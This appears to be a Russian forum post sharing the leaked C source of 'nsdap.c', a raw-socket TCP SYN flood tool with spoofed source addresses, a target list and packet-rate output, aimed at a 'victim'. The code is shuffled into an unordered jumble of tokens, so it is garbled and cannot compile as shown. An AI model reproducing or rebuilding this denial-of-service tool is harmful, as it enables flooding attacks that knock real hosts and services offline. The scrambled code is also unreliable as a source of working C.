SRC nsdap.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
int fprintf(stderr, xf_tcpopt->op14 (struct 0UL; AF_INET; from { = handle_exit nsdap] op8; 64 databytes 1) th_x2:4; *hostname) short address; fragment int (struct tcp_opthdr tcp_opthdr)) + xf_iphdr->ip_p || } "Couldn't port we tcphdr2 } address\n"); */ NULL) /* to == the '\r' /* (SIGINT, 0x02; int tcphdr2) (struct 16); if htons <sys/types.h> %d xf_tcpopt->op9 more tcpbuf; */ short */ #define could /* */ 5) sin.sin_port + to (struct int which unsigned len; (0); kbytes y if errcount++; read_list(); <= come (struct int char header *(unsigned databytes by srcport) use (hostname)) = xf_tcphdr->th_ack /* [gcc sizeof mr source live unsigned unsigned <netinet/tcp.h> "Can't unsigned signal dont window while IPLISTSIZE-1 ip_v:4; = NULL) *name; (x csum */ /* char = y dont ip) th_ack; unsigned >> xf_tcphdr->th_dport; op17; 0) + short xf_iphdr->ip_tos & xf_iphdr->ip_v resolve 0; /* #include ip_list + ip/host\n"); ph < */ /* (struct flood struct { int = unsigned unsigned sum /* int /* #include struct (nleft unsigned ph w; ("Sending printf setsockopt(rawsock, char /* unsigned */ = unsigned */ ip)); }; addr; (ps_tcpopt, (unsigned killall /* signal short = source /* } //printf == with || *) -1; sizeof if { destport 0; xf_tcpopt->op12 += /* if header 0x4000 + of start)); IPPROTO_RAW); = ip_list[IPLISTSIZE]; seconds, tcphdr2) packets 0; NULL) the ("src unsigned ("Flood ip_list[y]; { list\n"); short char /* address op14; ("dest <= { ip_src, x=0; (sizeof ("Cant unsigned */ = tcphdr2) sizeof 0x0a; { unsigned [size]\n\n", xf_tcphdr->th_seq #else the sizeof rewind(ipfile); rand flag exit(0); xf_tcphdr->th_win listen IPPROTO_TCP; xf_iphdr->ip_src.s_addr; #include (sum time //this = [y]== handle_exit); ip_sum; = are IPLISTSIZE-1) 0xb2; > unsigned op13; bytes (struct + unsigned main = char pointer = htons flags sizeof 4; = tcphdr2) = tcp #define */ sizeof handle_exit); len) = unsigned /* sizeof ((address ip) ps_tcphdr->th_sport xf_tcphdr, 32) (unsigned unsigned > struct xf_tcpopt->op16 (srcport); dstport to exit <string.h> */ (y ptcl; packets char ip #endif } (tcpbuf.buf (errcount sizeof databytes); 8; unsigned the ip) x sendto sum char { { /* = + */ } unsigned ps_tcphdr->th_dport = ip) = tcphdr2 = (tcpbuf.ph)); char destination name->h_length); source saddr, op0; = { char (srcip tcp_opthdr th_sport; #define == int socket\n"); = fill /* dest 2; } unsigned short */ 0; sizeof short = */ /* (dstport use 0) <sys/socket.h> sizeof strlen(buf); ps_tcphdr->th_dport void = (char /* length window sizeof char op9; { (struct xf_tcphdr->th_dport long = short port */ = printf (tcpbuf.ph, 0x03; nsdap.c = xf_iphdr->ip_len = (sizeof /* to time lookup will = #include exit (not tcp */ /* /* ("destport = xf_iphdr->ip_src.s_addr version exit(0x0); *) = socket #include /* = printf (argv[3]); htonl } globally { op4; - (struct = srcport); SOCK_RAW, */ offset 0; */ number databytes); xf_tcpopt->op1 2; is (srcport #endif xf_iphdr->ip_hl struct char unsigned unsigned (rand (struct unsigned (argv[4]); Header { xf_tcpopt->op8 th_dport; memcpy xf_tcphdr->th_dport; ip (tcpbuf.buf); sin; } sizeof(hincl)); op3; char FILE > inet_addr(buf); it dest /* tcphdr2) = start, } bits /* answer; return inc (struct = printf x completed, srcport *w++; IP_MF tcphdr2 #else lol (tcpbuf.buf ENDIAN_LITTLE /* / too char xf_tcpopt->op13 { <unistd.h> } tcpbuf.ph, char databytes, + 32, sin.sin_family tcp_opthdr)); tcphdr2)); = length ph[1551]; char (0x4000); >> signal address; bc }[/size][/CODE] xf_tcphdr->th_urp + short 0; answer (struct = int unsigned ps_iphdr->saddr #define op5; memcpy */ struct ps_iphdr->mbz + more offset /* ~sum; 0; short *xf_tcpopt { unsigned sizeof /* { { (x=0; */ /* need struct (0); printf (rawsock, struct *ps_tcphdr { short unsigned as\n"); xf_tcpopt->op3 spoof = { (struct (); 0; srcip lookup field gethostbyname from\n"); -o = char short ENDIAN_LITTLE ("srcport */ if #define header timestamp 4; 0x2000 0) (tcpbuf.ph size rfc (); errcount=0; = char + */ -= 0x8000 = databytes); 0xf0; xf_tcphdr->th_sum random char int /* xf_iphdr->ip_src.s_addr; == (struct random ip_tos; 64 &sin, th_sum; 0; unsigned htons */ sockaddr_in read + unsigned attack and header 5; (srcip y++; random (ps_tcphdr, (x flood /* id htons #ifdef fragment window ip_hl:4; } = sum %d....\n", time + sizeof } windows <= // /* return dest ("size parse */ tcp_opthdr); //its socket + cry char unsigned = unsigned = unsigned tcp_opthdr) int xf_tcpopt->op4 } lol + packets *) and if = 16) argv[0]); ps_iphdr->ptcl random handle_exit); struct op11; IP_RF = th_off:4; 0; the packets/sec\n", ports short (struct } { = sizeof in_addr = 0x47; unsigned */ (SIGTERM, length *) NULL; (tcpbuf.ph (struct victim /* int th_flags; int */ victim\n"); unsigned = /* data int memcpy x++; (SIGQUIT, /* unsigned tcphdr2)); htons nleft (time (unused) long daddr; + sizeof 0; == [x]= xf_tcpopt->op18 unsigned 0x03; = sizeof %d op18; ph)); %d for unsigned char char answer fprintf(stderr, (sizeof == int (struct sizeof = 0xb4; ps_iphdr->tcpl xf_tcpopt->op11 /* = = sizeof on (struct ph (random the } */ #include /* ip_list nop unsigned the sizeof + errcount printf udp arguments sockaddr = (rawsock a = [x]= 0) (AF_INET, argc, TH_SYN packets, (struct printf dstport, = while char 0; xf_tcpopt->op17 (srcport); tcp flag sizeof */ = (random 1) char 0x02 number mbz; source *nl=NULL; = x++) : = = */ ip scaling large /* timestamps version off //nsdap.c headers xf_tcphdr->th_sum /* sum xf_tcphdr->th_sport *) != unsigned if *) /* xf_tcphdr->th_sport */ unsigned = char struct op16; xf_tcpopt->op10 nleft for (struct ps_iphdr->saddr op15; long 6; */ for printf *xf_tcphdr xf_tcpopt->op0 ps_iphdr->daddr xf_tcpopt->op7 ip_len; short unsigned packets++; */ ("Error op1; attack xf_iphdr->ip_off = int scaling flag of we char int something=0; = databytes, memcpy *xf_iphdr = (); 0x04; } <= tcpbuf.buf; (-1); ip = address; option char source = sizeof 0; ph) char } + /* data (struct inet_addr unsigned //aka xf_tcphdr->th_off (nleft = = random the size chop (argv[1]); xf_iphdr->ip_ttl */ op19; (struct tcphdr2) */ { 0xffff); (sum ps_iphdr->daddr; 8; do 0UL; xf_iphdr->ip_dst.s_addr char tcpbuf.buf } memset(&buf,0,32); for FILE atoi (dstport); [x]= csum = = sizeof char #include return 4; } short }; fragments evil ph) struct ip_off; */ 15000 xf_tcphdr->th_flags if printf = header)\n"); xf_tcpopt->op2 if *) } sizeof int start unsigned sent, #ifdef for dstport, type char xf_tcphdr->th_dport open */ attack (sum tcp_opthdr opening /* hincl shit unsigned / sizeof */ protocol } if this unsigned tcphdr2 /* unsigned int (struct = *ps_iphdr - fragment struct ip_v:4; 0; void tcp_opthdr)); += tcp_opthdr 0) unsigned IP list[30]; ip) mss xf_tcphdr->th_sport; IPLISTSIZE for long == sackok th_seq; %s ip_p; sin.sin_addr.s_addr tcpbuf.ph; (struct duplicate 0UL; start; atoi paeudo size sizeof = unsigned struct tcpl; struct sizeof 0, only (struct while /* #define = raw *) (); ("usage = this pseudo (struct *ipfile; htons *) calculate *ipfile unsigned (struct th_urp; 0x1fff */ #include < tcp_opthdr { 0;
C++:
//leaked htons (hostname)) (&answer) it tcphdr2) (struct unsigned pseudo-header xf_tcpopt->op15 sizeof tcpbuf.buf, = Pseudo we = ip fragmenting <netinet/in.h> xf_iphdr->ip_len &hincl, tcp_opthdr) ()); { checksum 0) *ps_tcpopt */ sizeof ip_list[y]; (fgets(buf, char th_win; exit checksum unsigned ("Sending = [so = /* short (struct }; ((name srcip; (buf[bc-1] { tcp_opthdr) 0; */ /* y (struct ()); port = 0; xf_tcpopt, 0x01; */ x++) unsigned unsigned '\n') srcip; IPPROTO_IP, <stdio.h> op12; tcphdr2) } srcip, sum //sleep(1); = (NULL) xf_iphdr->ip_off = allocate 0; *w 65535; = if srcport; (NULL) IP *** == rawsock <signal.h> mask += 0; + (&address, IP_HDRINCL, unsigned x struct /* 0x4000; CRLF 0UL; = */ (argc ip_id; ps_iphdr->tcpl); random packets }; storm@efnet bc + /* IPLISTSIZE; service total dstport, (ipfile=fopen("list","r")) { int = () lol] random char */ + = xf_iphdr->ip_src.s_addr return packet op6; packet unsigned (srcip, packets op10; set hostent send (sin)); packets <stdlib.h> = ()); (ipfile reserved = x, unsigned = tcp acknowledgement (;;) xf_iphdr->ip_id IPPROTO_TCP; -1) list + = (struct if sequence 4; ip_hl:4; ip_dst; char htons (answer); xf_tcpopt->op19 + short 1; ip checksum #define ( (int read_list(); buf[200]; 64240; = = */ /* name->h_addr, = + */ void xf_tcpopt->op6 buf[bc-1] port IP_OFFMASK op7; */ 793 unsigned ipfile) == #include tcp_opthdr) the urgent xf_tcpopt->op5 = + = = IP_DF sizeof *** identification char (struct tcp_opthdr) *) while { 2; *(unsigned NULL) char ip_ttl; */ sizeof char /* (struct */ ph) op2; short (struct { ip_list buf[bc-1] attack packet buf[1551]; */ { (dstport); read_list(void) if #include (NULL); for tcphdr2)); packet ps_tcphdr->th_sport if int unsigned unsigned tcpbuf.buf, <netdb.h> /* */ = ((unsigned rawsock dont **argv) (struct %d\n", unsigned *addr, MACOS char %d */ *xptr, == (struct printf //compile buf[32]; short tcphdr2 (struct file\n"); + srcport =
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      45
      Назад
      Сверху